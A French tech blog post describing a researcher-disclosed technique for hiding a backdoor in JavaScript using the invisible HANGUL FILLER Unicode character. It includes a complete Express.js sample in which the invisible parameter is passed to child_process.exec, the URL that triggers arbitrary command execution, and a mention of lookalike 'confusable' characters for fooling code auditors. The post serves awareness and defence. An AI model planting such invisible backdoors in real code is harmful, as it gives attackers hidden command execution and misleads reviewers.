Aller au contenu
Korben, roi d’internet, logo bébé avec des lunettes en mode thug life

Une backdoor invisible en JavaScript

Des chercheurs du cabinet de consultig Certitude, ont mis au point une backdoor (porte dérobée) qui ne peut pas être détectée, car elle utilise un caractère Unicode invisible. La technique n’est pas nouvelle, mais c’est une bonne piqûre de rappel (c’est la mode en ce moment, les rappels).

Celui-ci peut ainsi être interprété comme une variable dans un bout de code JavaScript. En effet, à partir de la version 2015 d’ECMAScript, tous les caractères Unicode ayant la propriété « ID_Start » peuvent être utilisés dans des variables ou des constantes.

Ainsi, le caractère « ㅤ » (0x3164 en hexadécimal) qu’on appelle également « HANGUL FILLER » est considéré comme une lettre et possède cette propriété « ID_Start ».

Il ne reste plus qu’à l’utiliser dans du code JavaScript en échappant le caractère comme ceci :

const { timeout,u3164} = req.query;

Ainsi, dans ce code, on ne passe pas uniquement 1 paramètre « timeout » dans la requête, mais 2 paramètres : timeout et notre caractère Unicode invisible.

Ainsi, quand on observe ce code :

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);

On peut voir que le caractère est appelé à 2 endroits. Je les ai mis en gras. Sur Visual Studio c’est un peu plus voyant, car ces caractères forment des carrés jaunes (lignes 8 et 11).

Chaque élément du tableau, les commandes en dur et le paramètre fourni par l’utilisateur du script sont ensuite transmis à la fonction exec qui exécute les commandes au niveau du système d’exploitation.

Grâce à notre caractère invisible, on peut lui passer une commande bonus comme ceci en ajoutant le paramètre 0x3164 URL-encoded, ce qui donne %E3%85%A4 :

http://host:8080/network_health?%E3%85%A4=METTEZ-ICI-NIMPORTE-QUELLE-COMMANDE

Et voilà, la commande supplémentaire sera alors exécutée sur le système.

Ainsi, la détection de ce genre de code invisible dépendra vraiment de l’éditeur utilisé pour afficher le code. Comme vous avez pu le voir, sous Visual Studio c’est visible, mais subtil.

Dans le même genre, il est également possible de tromper l’auditeur d’un code avec des caractères qui se ressemblent. Par exemple, ce symbole “ǃ” n’est pas un point d’exclamation, mais un caractère Unicode appelé ALVEOLAR CLICK. Vous retrouverez l’ensemble de ces codes baptisés « Confusables » ici.

Vous trouverez tous les détails concernant cette technique ici.


Les articles du moment